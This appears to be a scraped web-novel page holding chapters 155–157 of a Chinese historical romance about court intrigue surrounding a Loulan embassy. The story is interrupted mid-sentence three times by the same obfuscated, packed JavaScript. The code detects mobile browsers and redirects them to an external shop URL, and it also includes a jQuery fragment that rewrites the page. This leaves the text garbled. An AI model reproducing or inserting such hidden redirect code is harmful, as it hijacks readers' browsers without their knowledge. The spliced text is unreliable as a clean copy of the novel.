谢伟恒顺势上前一步靠近他,伸手抓住燕修延的手,紧紧握在自己温热的手心里:“那哥哥把手给我牵着,就算睡地上我也甘愿。” 燕修延故作冷酷地吐出一个字:“滚。” “跟哥哥一起滚。” 谢伟恒低笑一声,顺势把燕修延拉进自己怀里,俯身凑到他耳边,用只有两人能听到的声音:“去草场滚,以天为幕、以地为席,岂不快哉?” 燕修延伸手将谢伟恒凑过来的脸推到一边,在大街上拉拉扯扯,还说出这般轻薄的话:“你真是越发的没皮没脸了!” 李府书房内,气氛压抑凝重。 李想闭眼扶着额头,坐在案前苦思冥想,眉头紧锁,脸上满是焦虑与不安,楼兰这边的变故,让他心里越发没底。 魏仲泽却淡定自若,端着茶盏用茶盖轻轻拂去杯口的茶沫,动作慢条斯理,语气平静地开口:“没了楼兰,我们还有羯国,再不济还有乌孙,这些势力都能为我们所用,你没必要这么害怕。” 李想缓缓放下手,转头看向魏仲泽,眼神里满是担忧:“楼兰知道我们不少秘事,若是把咱们供出来……我总觉得燕修延已经察觉到了什么。” 魏仲泽慢悠悠地将杯中的茶水一饮而尽,放下茶盏,眼底闪过一丝阴鸷: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646312|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别自己吓自己,羯国和乌孙会帮我们的,毕竟……我们一荣俱荣一损俱损,他们不会眼睁睁看着我们倒台。” 剩下的话他没有说完,可其中的深意,李想自然心知肚明。 西跨院内,张采茵回来把听到的对话,一字一句仔细地记录在纸上,随后小心翼翼地藏在房梁上的隐蔽之处。 那日李羽飞交给她的字条,也被她妥帖地收好,藏在无人能发现的地方。 将一切安排妥当之后,张采茵轻轻推开儿子的房门,看着床上熟睡的人伸手轻轻替他掖好被角。 快了,再等等,很快就能摆脱这吃人的府邸了。 第二天,燕修延进宫将鄯云帛月的事情说了。 虞睿祥坐在龙椅上,随意地抬了抬手,一脸云淡风轻:“此事简单,朕直接给他们赐婚便是,理由就是……。” 宫人带着陛下的圣旨前往驿站,将鄯云帛月和楼兰一同前来的几位美人一同接进皇宫,陪陛下在御花园赏花。 燕修延则是找到温瑞,二话不说把人拖到偏殿,给他换上了宫中侍卫的服饰,把他安插在御花园的侍卫队伍里。 御花园内,亭台楼阁,流水潺潺,百花盛放,景色雅致。 后宫的嫔妃,虞睿祥只带了凤嫔一人。 楼兰来的美女们,个个打扮得花枝招展,都想抓住这一步登天的机会,使出浑身解数,争先恐后地往虞睿祥身边凑。 凤嫔按照事先的谋划,饰演着一个爱吃醋、一心想独占陛下的妃子。 这可着实难为叶凤了。 她看着眼前莺莺燕燕的场景,找准时机,猛地抬手摔了手边的白玉茶杯,茶杯重重摔在地上,碎成数片,声响清脆,瞬间吸引了所有人的目光。 凤嫔神色高傲,指着一众楼兰美女,语气骄纵又带着浓浓的醋意:“圣上天颜,岂是你们这些蛮夷女子可以随意直视、随意靠近的?不知礼数!” 温瑞站在不远处的侍卫队伍里,目光紧紧锁定着站在人群最后面、神色淡然的鄯云帛月,对着她偷偷使了好几个眼神,不停地用目光示意她往旁边的池塘边挪动。 鄯云帛月起初有些犹豫,对上温瑞急切的眼神,才慢慢往后退,不确定地往池塘边挪了几步。 这时一个楼兰美人挺了挺傲人的身姿,一脸鄙夷地看向凤嫔,毫不示弱地开口反驳:“进了宫,大家就都是陛下的女人,陛下都没说话,你在这里叫嚣什么?不过是仗着陛下几分宠爱,便如此嚣张!” “我打你,陛下也不会多说一句。” 凤嫔眼神一厉,压根不跟她多费口舌,上前一步,猛地伸手推搡了这个美人一把。 那美人重心不稳,踉跄着往后退,正好狠狠撞在身旁毫无防备的鄯云帛月身上。 鄯云帛月惊呼一声,脚下一滑,身子一歪,径直掉进了身旁的池塘里,池水瞬间将她淹没。 “啊!楼兰公主落水了!”周围的宫人、侍卫纷纷发出惊呼,乱作一团。 在众人的惊呼声中,温瑞想都没想,身形飞快窜出,纵身一跃跳进池塘里,快速游到鄯云帛月身边,将人稳稳地救了起来。 躲在暗处假山后的燕修延手里嗑着瓜子,看着这一幕,忍不住暗自好笑。 温瑞这动作快得离谱,再慢一点,恐怕鄯云帛月的衣服都沾不到多少池水,这场戏演得倒是卖力。 温瑞动作很轻地将鄯云帛月抱到岸边的石凳上坐下。 鄯云帛月紧紧拉着温瑞的衣袖,抬眸直勾勾地看着他,眼底满是复杂的情绪。 她长这么大,在楼兰王室里,受尽冷眼、算计与欺凌,从来没有人这般小心翼翼地待她 虽然这人看起来不太聪明。 凤嫔适时地依偎进虞睿祥怀里,手轻轻拍着胸口,假装娇滴滴、一脸懊恼地说道:“陛下这可如何是好,堂堂一国公主,在众人面前被侍卫搂了去,有了肌肤之亲,往后公主的清誉可就全毁了啊。” 虞睿祥顺着她的话,脸上露出惋惜又无奈的神色,看向浑身湿透的鄯云帛月:“为了公主的清誉着想,朕也只能为你二人赐婚,委屈公主了。” 鄯云帛月低下头掩去眼底的笑意,悄悄调整了一下情绪,再抬头时,脸上满是屈辱与不甘:“我可是楼兰的公主,我的婚事理应由楼兰王室做主,陛下这般……” “朕这就让人带话到驿馆,告知你国使者,你且看看朕做不做得这个主。” 虞睿祥面色微沉,随意地抬了抬手,对着身旁的宫人吩咐:“把公主带下去,更换干净衣物。” 155. 专往圆里挑啊 楼兰一众美人眉眼含愁,心头始终绷着此次前来大虞的使命,眼见着鄯云帛月要被随手指给一介普通侍卫,纷纷上前敛衽屈膝,争先恐后地替她求情。 “皇帝陛下,万万不可啊!帛月公主乃是我楼兰公认的第一美人,此番随使团前来,我楼兰国王本意是要将公主敬献给陛下,侍奉君侧的。” “皇帝陛下有所不知,在我楼兰女子肌肤被男子偶然触碰,是无关紧要之事,算不得什么过失。” “皇帝陛下,帛月公主天生身带幽兰异香,姿容绝世,这般绝代佳人,赐给一个小小侍卫,实在是太委屈公主,也太便宜他了!” 虞睿祥嘴角勾起一抹似笑非笑的弧度,语气平淡却带着不容置喙的帝王威严:“这里是大虞,不是楼兰。朕不会接纳被别的男子碰过的女子。” 凤嫔顺势依偎过来,纤纤玉手紧紧抱着虞睿祥的胳膊,掩住唇轻笑,眼底却掠过一丝清冷的锋芒:“你们这是在教陛下如何处事么?他昨日大殿之上,大庭广众、众目睽睽之下,意图勾引我大虞朝臣,举止轻浮,毫无公主端庄,陛下何等尊贵又怎么可能看得上?” 在场楼兰美人们脸色骤变,由红润变得惨白,纷纷垂首,不敢再言语。 她们悄悄抬眼,触碰到虞睿祥眼底一闪而过的不快与冷厉,心头一颤,终究是乖乖闭上了嘴巴,再不敢多言一句。 宫人上前将鄯云帛月带了下去。 不过半个时辰,再次出现时她已褪去一身楼兰风情浓郁的艳丽服饰,换上了大虞正统的华贵宫装,头发被宫人仔细梳成端庄的发髻,插上了金镶玉步摇、珍珠发簪等华丽首饰。 原本异域的明艳妩媚,被大虞服饰衬得添了几分端庄稳重,眉眼间的异域风情与中原端庄相融,反倒更显绝色。 这般焕然一新的模样,虞睿祥目光直直落在她身上,一时竟看得有些失神,思绪都不自觉顿了顿。 忽的后腰传来一阵清晰的刺痛,猛地将他飘远的心神拉了回来。 虞睿祥侧头看去,凤嫔不动声色地收回掐在他后腰的指尖,面上依旧挂着温婉得体的笑容,语气轻柔:“真是位漂亮的妹妹。” 温瑞已经看得目瞪口呆,一双眼睛直直盯着鄯云帛月,嘴巴微微张开半天都合不拢。 出息。 燕修延将这一幕尽收眼底,无奈地抬手按了按眉心。 鄯云帛月穿着宽大冗长的大虞宫装,每走一步都要小心翼翼地提起裙摆,生怕被绊倒。 大虞的女子日日穿这样的服饰,真辛苦。 虞睿祥抬手指了指她,语气平淡地开口:“既是一国公主,朕也不能让你受了委屈,落人口实。这样,朕认你做义妹,赐一座三进的宅院,作为你与温瑞成婚之后的居所,你的陪嫁嫁妆,皆由宫中全权置办,届时便从皇宫里正式出嫁,也算全了你的公主体面。” 温瑞跪下谢恩,他只觉得膝盖触到的不是冰冷的地面,反倒像是跪在软绵绵的云朵上,整个人都飘在半空,满心都是不真实的狂喜。 短短两天时间,他不仅得了个绝世美貌的公主媳妇,还白得了一座三进的宅院。 这等天大的福气,怕是上辈子积攒了天大的功德才能换来。 虞睿祥看了一眼窗外渐晚的天色,当即吩咐宫人,带着温瑞与鄯云帛月前去查看日后的宅院,同时派人前往驿馆,将这门婚事告知大王子。 大王子等到传信的宫人离开,再也压抑不住心头的怒火,猛地抬手将桌案上摆放的东西统统挥落在地。 瓷器碎裂的声响刺耳,他双目赤红,怒声嘶吼:“欺人太甚!实在是过分,他怎么敢擅自做主我楼兰的事!” “殿下息怒,如今大虞暂时无暇对付羯人,可若真要动我楼兰,却是轻而易举之事。” 国师轻轻叹了口气,目光透过窗棂,看着宫人坐上马车离开,语气满是无奈:“昨日帛月公主在大殿上的所作所为定然是彻底惹恼了大虞皇帝,才落得这般下场,等其他入宫的美人回来,仔细一问,便能知晓全部缘由。” 大王子眉头紧蹙,心头满是焦躁与担忧:“我不是气婚事,我是担心,她会不会把我们的计划泄露出去?” 国师连忙安抚,语气笃定:“殿下放心,我们从头到尾只吩咐她想方设法讨好大虞皇帝,其余核心机密,她一概不知即便想说,也无从说起。” 被招入宫的楼兰美人们才悉数回到驿馆,一个个神色疲惫,满心忐忑。 国师第一时间将众人叫到跟前,细细盘问白日里皇宫中发生的所有细节,一字一句都不肯放过。 待将事情原委全部问清,国师脸上露出一副“果然如此”的了然神色。 “蠢货!真是个成事不足败事有余的蠢货!” 大王子听完怒火更盛,抬脚狠狠踢向身旁的木凳,“哐当”一声,凳子应声翻倒在地,发出刺耳的声响。 国师有些吃力地弯腰,慢慢扶起倒地的凳子:“她聪明也愚蠢,我猜她根不想进宫伺候大虞皇帝,想着回国做她的公主,可她不懂宫廷权谋,胡乱行事,最终才落得被嫁给一个小小侍卫的下场。” 大王子听着国师的话,心头的怒火渐渐消了几分,反倒生出一丝解气的快意,冷哼一声:“想回楼兰?这辈子都别想了!就在大虞跟那个穷酸侍卫过一辈子吧!到时候就算哭着喊着,也再也回不了楼兰,只能在这异乡受苦!” 鄯云帛月高高兴兴的坐在瑶光宫的秋千上,一身端庄宫装,却挡不住她眼底的轻快与欢喜。 这样的结局比她想的可要好太多了。 她荡着秋千,满心期待地等着人来。 虞睿祥搂着凤嫔没让人通传,一进门就看见鄯云帛月荡着秋千,几乎要飞到半空。 脸上的开心与自在,根本不加掩饰,肉眼可见的满心欢喜。 凤嫔轻轻挑眉,素手放在虞睿祥的腰侧,指尖微微用力。 虞睿祥连忙低声讨饶:“朕可没有被美色迷惑,爱妃切莫借机掐朕,更衣的时候朕看了,腰上已经被你掐得青了一片。” 凤嫔拍了一下虞睿祥的后腰,她今儿故意装作娇弱善妒的样子,演得满心不快,白日下手掐的时候带了几分私人情绪,加之自己手劲向来不小,掐出淤青也是情理之中。 看见皇帝与凤嫔,鄯云帛月慢慢停下秋千,双手抓着绳索,轻轻一跃,从秋千上跳了下来,稳稳落地。 “我以为是那两个成了亲的大人前来问话,没想到竟是皇帝陛下亲自前来。” 虞睿祥牵着凤嫔落座,宫人立刻端上香茶与精致茶点,随后恭敬地退了出去, “即便燕卿前来问话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646313|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终也是要回奏朕的,楼兰此次派使团前来究竟有何目的?” 鄯云帛月没有丝毫犹豫,也没有半点隐瞒,直接开口将自己知道的事情和盘托出:“他们只吩咐我想方设法讨好皇帝陛下,可我心里清楚,他们真正的目的是想让我生下带有大虞与楼兰血脉的孩子,再让其他潜伏在大虞的楼兰女子,找机会害死陛下所有的皇子,以断大虞国本。” 凤嫔神色未变,伸手拿起一颗晶莹的葡萄,细细剥去外皮,直接塞进自己嘴里。 虞睿祥:…… 看来爱妃,还在生气。 凤嫔擦了擦指尖,抬眼看向鄯云帛月,语气平静无波,缓缓问道:“你是楼兰公主,身负楼兰王室的期许,为何要做出背叛自己国家的事?” 鄯云帛月笑起来,那笑容里满是浓烈的嘲讽与恨意:“他们从来没把我当成人看,只把我当做一件随时可以丢弃、用来换取利益的货物。害死了我的阿母,连同她肚子里尚未出世的孩子也没能逃过毒手,还指望我对他们忠心耿耿、言听计从?简直是痴心妄想!” 大王子的阿母生性恶毒、善妒成性,在楼兰后宫只手遮天,搅得整个后宫乌烟瘴气,楼兰国王也是昏庸无能被她哄得言听计从听不进去别人的话。 鄯云帛月感谢阿母给自己的好样貌,楼兰王室便一直将她当做棋子打算用她的婚事与别国换取利益。 若不是此次前来大虞,她早已被嫁给一个妻妾成群的楼兰老臣。 她也一直伏低做小、伪装乖巧,就是为了找机会逃离楼兰,此番跟随使团来到大虞,她便打定主意说什么都不会再回到那个令人窒息的地方。 “他们说要把国师交出来任由大虞处置,可实际上楼兰还有一位隐藏的大国师。” 这件事,向来只有楼兰国王与王室继承人知晓。 他小时候偷溜进神庙玩耍,才偶然得知的。 “真正策划一切,想要图谋大虞疆土的大国师,现在还在楼兰,留在大虞京城的这位国师,早已被国王打点好家人,说白了就是一颗随时可以被牺牲的弃子。” 鄯云帛月索性将楼兰的底细彻底倒了出来,毫无保留:“楼兰全国成年可用的战马一共有八千多匹,皇帝陛下若是态度强硬,即便索要五千匹他们也不得不答应。” 虞睿祥指尖轻轻摩挲着茶盏边缘,沉吟片刻,忽然开口问了一句看似无关的话:“你们那位大国师,也是个圆的?” 鄯云帛月一时愣住,满脸茫然:“啊?” 方才不是在说战马的事么? 虞睿祥不紧不慢又重复了一遍问题,他心里清楚,这般趣事修延定然十分好奇,索性一次性问清楚。 鄯云帛月虽不解,却还是如实回答:“是,大国师的身形比国师还要圆润几分。” 虞睿祥在心底暗自失笑,看样子楼兰挑选国师,专往圆里挑啊。 再无其他要问的,虞睿祥不再多留,牵着凤嫔的手,转身离开了瑶光宫。 关于楼兰战马一事,今日已经摸清底数,剩下的不必他主动索要,自有办法让楼兰主动求着将战马送上门来。 虞睿祥前脚刚离开,一道矫健的身影便翻墙而入。 温瑞穿着侍卫服饰,动作利落落地,快步走到鄯云帛月面前。 “公主殿下。” 156. 坏坏的谢伟恒 温瑞抬手按在衣襟内侧,指尖触到怀里叠得齐整的银票,略一思忖便径直掏了出来,不由分说往鄯云帛月手中塞去:“这个先给你,你若是喜欢银票,回头我就把手里的现银、珍宝全都换成银票送过来;若是更爱实打实的金银财宝,那我便不折腾。” 鄯云帛月低头瞥了眼手中银票,那醒目的一万两面额映入眼帘,饶是她见惯了珍宝,也不由微微挑眉:“你就不怕我是别有用心,故意接近你,图谋不轨?” 温瑞挠了挠后脑勺,说话半点不含糊,字字真切:“你从我这最多也就能骗走点钱财罢了。但凡涉及大虞的机密要事,你问我半句我都不会吐露,那些要紧的卷宗、秘件,我也不会带回家里。” 钱财本就是身外之物,没了大不了再赚,左右饿不死。 鄯云帛月紧抿的红唇缓缓上扬,勾起一抹浅淡又勾人的笑意。 她往前微微倾身,声音放柔,带着几分刻意的挑逗:“那若是我不光骗你的钱,还要骗你的人呢?” 温瑞脸一红,挠着头傻笑起来:“我是男人,怎么着也是我占便宜了啊。” 鄯云帛月双手撑着下巴,歪着头目光直直地落在温瑞身上。 这个男人怎么好像有点心眼,又好像一点都没有? 她冲着温瑞轻轻勾了勾纤细的手指,示意他凑近,压低了声音:“跟你说个事,你自己判断,国师与大王子的阿母往来过密,我怀疑大王子……” 后面的话她没说完,留给温瑞自行体会。 这件事她没有告知皇帝,也是因为没有确实的证据。 温瑞是谁? 监察司最擅长捕风捉影、传递密情的传讹官。 他立马心领神会,脸上露出了然的神色。 “我觉得你的怀疑不无道理,大王子那脑袋看着确实和国师一样,圆溜溜的颇有几分相似。” 温瑞没待太久,赶在宫门落锁前出宫。 鄯云帛月独自站在树下,望着温瑞离去的方向,静静伫立了片刻。 她身边伺候的宫人,个个都是朝廷派来看管她的眼线,自己的一言一行、一举一动,都在旁人的监视之下。 晚风拂过枝头,落下几片细碎的绿叶,她不多做停留,缓缓转身,迈步走回屋内,和衣躺下,闭目养神。 温瑞一出宫直奔谢府而去。 燕修延正被谢伟恒牢牢按在墙壁上,温热的吻密密麻麻落下,带着不容抗拒的缱绻与霸道。 听见院门外传来急促的脚步声,燕修延伸手推开谢伟恒,抬手擦了擦被吻得泛着水光的唇。 笑咪咪地说道:“我就说吧,今晚肯定会有人找上门来,不是陛下身边的人传信,就是温瑞这小子。” 温瑞抬手准备敲门。 房门便从里面被骤然拉开。 燕修延背着屋内的烛光,斜斜靠在门框上,身姿慵懒,眉眼间带着几分戏谑,开口便打趣道:“呦,这不是驸马嘛,你的亲亲未婚妻跟你说什么要紧事了?” 驸马、未婚妻…… 嘿嘿嘿。 温瑞又红了脸,下意识地双手捂住脸颊,全然忘了自己此行的目的。 燕修延看着他这副没出息的样子,气不打一处来,抬腿就轻轻踹了他一下:“你害个屁的羞!办正事,赶紧说事!” 温瑞被踹得往后退了半步,低头拍了拍衣襟上被踹出来的浅浅脚印,脸上的害羞瞬间散去,取而代之的是一脸神秘的奸笑:“头儿,大事!公主跟我说大王子可能是国师的儿子!” 燕修延眼中顿时闪过一丝兴致,他细细思忖起来,越想越觉得大王子的脑袋跟国师差不多圆。 等再过些年,年纪长上去怕是连身形都要跟国师一样圆滚滚的了。 “这件事是真是假,咱们一试便能知晓。” 燕修延冲着温瑞勾了勾手指,示意他再凑近一些,随后抬手拢在唇边,低声说了几句计策。 温瑞越听眼睛越亮,原本的严肃全然化作敬佩,等燕修延说完,他立刻竖起大拇指:“头儿!还是你厉害!这法子简单,却招招致命,实在是高!” 燕修延摆了摆手,一脸云淡风轻,语气带着几分自得:“好说好说,这点小事,不值一提。” 谢伟恒缓步走到燕修延身旁,自然地伸出手臂,轻轻搂住他的腰,低头凑近他的耳畔,带着几分不易察觉的醋意:“方才说什么悄悄话,非要靠得这么近?” 温瑞察觉到空气中骤然变得暧昧的气氛,心知自己这电灯泡再待下去,铁定要遭殃。 他二话不说,转身就往外跑,一边跑一边回头喊:“头儿,谢大人,我先走了!长夜漫漫,你们二人慢慢玩啊,不用管我!” 燕修延气笑了,无奈地摇了摇头。 你要说温瑞傻吧,他有时候一旦察觉到不对劲,逃跑的反应比谁都快,机灵得很。 “我跟他哪里靠得近了?中间就算站两个你都还有空隙,再说了我刚才说的话,你当真一点都没听见?” 谢伟恒不答,只是俯身一把将燕修延打横抱起,转身抬脚关上房门,迈步走向内室的床铺,小心翼翼地将人放在柔软的床榻上。 “我别的没听见,就只听见,温瑞临走前嘱咐我们两个慢、慢、‘玩’。” 燕修延淡定地掏了掏耳朵,别过脸,嘴硬道:“我没听见,不作数。” 谢伟恒轻轻咬了下燕修延的喉结,声音带着几分慵懒的鼻音,柔声唤道:“燕家小哥哥……” 燕修延面无表情的伸手捏着谢伟恒的下巴,微微用力抬起他的脸,淡淡开口:“床榻上的凉席太硌人了,不舒服。” 谢伟恒俯身亲亲他的鼻尖,语气温柔得能滴出水来:“无妨,我抱着你,这样凉席就硌不到了。” 抱着…… 燕修老脸一红,连忙别过头去,不敢与他对视,声音带着几分慌乱的叮嘱:“天气太热,不许太过火。” “好。” 谢伟恒抬手扇灭了桌案上的蜡烛,温柔地吻住了心心念念的唇瓣。 谢伟恒的**在燕修延的**,从背后f着燕修延的tui向上 (过程读者们自己想一下吧,作者尽力了,求过求过求过!!!) …… 第二天,国师与大王子一同上街闲逛,在大虞京城的大街小巷逛了整整一天。 两人去过的茶楼酒肆、逛过的商铺摊贩、遇见的各色人物、品尝的街头小吃、交谈的只言片语、乃至一举一动,全都被暗中埋伏的监察司暗卫,一字一句、一事一物,详细地记录在纸上,半点疏漏都没有准时送到了燕修延手中。 燕修延逐字逐句细细看完,看着纸上密密麻麻的记录,忍不住挑了挑眉,轻笑出声:“这国师看着身形圆润,倒是没想到,这么能走,整整一天都没怎么歇息。” 谢伟恒端起一杯清茶递到他手中,闻言低笑,语带戏谑:“圆的东西,滚起来能走的路程,自然更远。” “哈哈哈!” 燕修延被这个说法逗得大笑不止,身子微微后仰,笑得肩膀轻颤,差点从坐凳上摔下去,好不容易才稳住身形。 国师与大王子晚上还一同去了京城有名的花楼,点了好几个貌美姑娘作陪,饮酒作乐,好不惬意。 暗中趴在花楼屋顶盯梢的两名暗卫,看着屋内的场景,不约而同地翻了个白眼。 在他们看来,分明就是两头体态圆润的猪上门来拱姑娘。 两人并未在花楼留宿,饮酒作乐一番,尽兴之后便起身离开,准备返回楼兰使团居住的驿站。 刚顺着楼梯走到花楼一楼,耳畔便传来旁边桌席客人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646314|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的低声说笑,声音不大不小,恰好能清晰地传入两人耳中。 “哎,你们听说了没有,楼兰使团来咱们京城了。” “早就听说了,不过我还知道一个惊天大秘密,跟楼兰大王子和国师息息相关!” “什么秘密?快说说,赶紧讲讲!” “我跟你们说,可千万别外传啊——那楼兰大王子根本不是国王的亲儿子,其实是国师的私生子,国师早就给楼兰国王戴了一顶大大的绿帽子!” 大王子一听,怒火中烧,当即攥紧拳头,气势汹汹地就想冲上去教训那几个胡言乱语的人。 国师眼疾手快连忙伸手死死拉住他,对着他缓缓摇了摇头。 这里是大虞的京城,万万不可随意滋生事端,若是闹出事端,授人以柄,使团所有人都要陷入险境。 大王子对国师敬重有加,再加上此次出使大虞,本就步步惊心、凶多吉少,他强压下心头的滔天怒意,狠狠瞪了一眼那桌客人,咬牙跟着国师快步往驿馆的方向走去。 躲在暗处的人看在眼里,两人敏锐地察觉到,国师在听见这番话时眼底闪过震惊、错愕、不可思议,乃至几分慌乱,唯独没有半分被污蔑的愤怒。 离开之时他频频回头,目光死死盯着说话的那几人,眼神阴沉像是要将对方的样貌,牢牢刻在心底。 反观大王子,从头到尾只有被污蔑的暴怒与冲动,全然没有国师那般复杂的神色。 暗卫将这一切尽数记下,第一时间传回了谢府。 燕修延听完暗卫的禀报,当即抬手拍了一下桌案,眼神笃定:“这大王子十有八九就是国师的亲生儿子!” 国师的儿子,摇身一变成了楼兰大王子,未来的楼兰储君。 此次国师带着他随使团出使大虞,甘愿将他留在京城听凭处置,说到底不过是为了保全自己的儿子,稳住楼兰的王室根基,换取楼兰的一时安稳。 “觊觎我大虞的国土,算计我大虞的百姓,还想安安稳稳保住楼兰的江山?” 趁早上床,洗洗睡吧,梦里什么都有。 谢伟恒伸手轻轻勾住燕修延的小指,指尖相触,暖意流转,他声音低沉:“我有一计,可让楼兰自乱阵脚,不用咱们大费周章。” 燕修延熟门熟路地伸手捧起谢伟恒的脸,凑过去对着他的唇瓣“吧唧”亲了一口。 “说吧,我听着。” 谢伟恒勾了勾唇角,点了点他的脸颊,嗔道:“燕大人,这亲吻也太过敷衍了吧。” 燕修延“啧”了一声,斜睨着他:“别磨磨蹭蹭的,你到底说不说计策?” 谢伟恒伸手搂紧燕修延的腰,将人紧紧贴在自己身前,唇瓣贴着他的耳畔:“咱们去工部,找一件模样唬人、看着威力无穷,实际上却是研制失败废火器,让他们顺理成章地带回楼兰……” 燕修延一下子就明白了谢伟恒的用意,他看着谢伟恒,眼底满是揶揄,笑着调侃:“谢书令,没想到你的心思这么坏坏的……” 话音未落,剩下的话语,便被谢伟恒骤然加深的吻,尽数堵了回去。 谢伟恒伸手扣住燕修延的后颈,不给她半点躲闪的机会。 燕修延敷衍无妨,他可以自己讨要好处。 “差不多得了,适可而止啊!” 燕修延伸手轻轻推开谢伟恒,气息微微不稳,瞪着他说道:“都说年少贪欢,你这年纪也不算小了。” 谢伟恒唇瓣贴着燕修延的颈侧,低笑出声:“少年时,因种种变故蹉跎错过的时光,现在补齐为时不晚。” 燕修延:…… 活了这么多年,他还从来没听说过这种事情还能往后补齐的。 谢伟恒也知道此事不能太过,他只是性子恶劣,格外喜欢逗弄燕修延,看他方寸大乱的模样罢了。 157. 一个两个都是演技派 下朝后,文武百官鱼贯而出,殿外石阶上日光铺洒,褪去了朝堂上的肃穆紧绷,多了几分松弛的烟火气。 燕修延眼疾手快,几步就拦住了正要离去的工部侍郎,笑容满面的搓搓手:“韩大人,留步留步!我许久没去工部瞧瞧了,心里惦记得很,你带我进去转一转呗?” 工部侍郎身子绷紧,警惕地上下打量着燕修延:“燕大人你又想去偷东西?别以为我不知道你的心思,上次你也说只是随便看看,我都给你好几样精巧物件了。 结果你倒好,临走还顺手顺走了好几样稀罕东西!往后工部有了新鲜研制的物件,我自然会第一时间给你送去,不必你亲自跑这一趟。” 燕修延不赞同地摇了摇头,语气一本正经,半点没有心虚的模样:“瞧韩大人这话说的,我那叫拿,顺手拿的,都是自家衙门的东西,互通有无罢了。” 他伸手直接拉过谢伟恒:“你看,有谢书令在一旁监督,我总不能动手动脚,你这下总该放心了吧?” 工部侍郎是出了名的直肠子,心里想什么便说什么,半点不会拐弯抹角,他瞥了一眼神色淡然的谢伟恒,依旧摇着头。 “一旦跟燕大人你沾上边,就算是谢书令在,也不是那么让人彻底放心的。” 哎呦喂,没想到谢伟恒的名号居然也不好用了。 燕修延用肩膀轻轻撞了撞谢伟恒,眼神里带着几分求助的意味,摆明了要拉着对方给自己撑腰。 谢伟恒垂眸瞥了眼撞过来的肩头,神色依旧清淡,眉眼间没什么波澜,只缓缓开口,语气平静无波,却字字戳中要害:“前日,工部似乎呈递了奏折,希望陛下批复一笔款项用于器械研制?” 工部侍郎脸上的警惕瞬间消散,变脸比翻书还快,堆起满脸恭敬的笑意:“有谢书令在,我自然是一万个放心,二位大人请随我来,我这就带你们去工部转转!” 谢伟恒笑吟吟道看着燕修延。 燕修延直接装作看不懂他的意思,主打一个用完就丢、绝不含糊。 谢伟恒慢悠悠地跟上燕修延的步伐,眼底的笑意深了几分。 无妨,他晚些时候自然能亲自向燕修延讨回该有的赏赐。 工部大多是醉心研究器械、工艺之人,个个都沉浸在自己的事务里,各司其职,互不打扰。 偶尔有三两官员凑在一起,压低声音低声讨论着研制细节。 也有因理念不合、思路相悖的,争得面红耳赤、脖子青筋暴起,却也只是就事论事,毫无私怨,满是专注钻研的热忱。 工部侍郎先带着二人去寻工部尚书请示,得到应允后,才领着二人往工部库房走去。 “二位大人,这里面摆放的都是这些年研制未果、没能成功面世的失败品,大多都搁置许久了。” 燕修延一眼就看中了放置在库房正中央的那个大家伙:“这个大家伙是做什么用的?看着倒是气派。” 工部侍郎顺着他指的方向看了一眼,语气带着几分惋惜地解释道:“此前谢书令特意派了朝中顶尖的能工巧匠来工部协助,研制出了威力极大的雷火弹,我等便想着,能否在此基础上,让雷火弹的射程更远、威力更甚。” 他伸手拍了拍厚重的筒身:“我们想着把雷火弹做得更大一些,塞进这圆筒里,借助筒身发力打出去,可试验了好多次,次次都失败,还不慎伤到了负责研制的工匠,便只能先搁置在这,不再贸然试验。” “好!好!就是这个!” 燕修延眼中亮起光芒,拍了拍筒身,转头看向工部侍郎:“这物件可有名字?” 工部侍郎摇了摇头:“研制未果,一直搁置,还未曾取名。” 燕修延略一思索,语气带着几分郑重:“便叫雷火炮!记住了,这是我大虞的绝密武器。” 工部侍郎愣在原地,张了张嘴:“啊?” 还没反应过来,燕修延拉着谢伟恒的手腕,脚步匆匆,马不停蹄地直接转身往皇宫赶去。 虞睿祥听完燕修延眉飞色舞的讲述,当即拍着桌子乐不可支:“修延啊修延,你这脑袋里到底装了多少鬼点子,当真机灵得很!” 燕修延连忙摆了摆手,脸上摆出谦虚的模样,张口就把功劳推了出去:“陛下可谬赞了,这可不是我的主意,全都是谢书令的想法,我不过是转述罢了。” 虞睿祥眉尾微微扬起,看向一旁静静站立的谢伟恒,眼底满是意外,笑着摇头道:“伟恒如今竟也被你带得,心思越跑越偏了。” 燕修延扭头看向窗外,避开虞睿祥的目光。 窗外天气晴朗,万里无云,阳光明媚。 看来自己还没冤到能让天上飘雪的地步,倒也不算太惨。 “陛下,你可不能冤枉臣!要说肚子里蔫坏那还得是谢书令,我才是赤胆忠心的那个人!” 虞睿祥看着他一本正经胡说八道的模样,敷衍地应了一声“哦”。 显然半点都不信,转而说起正事:“但朕要送他们东西,总要有个由头才能顺理成章。” 正所谓,无事献殷勤,非奸即盗。 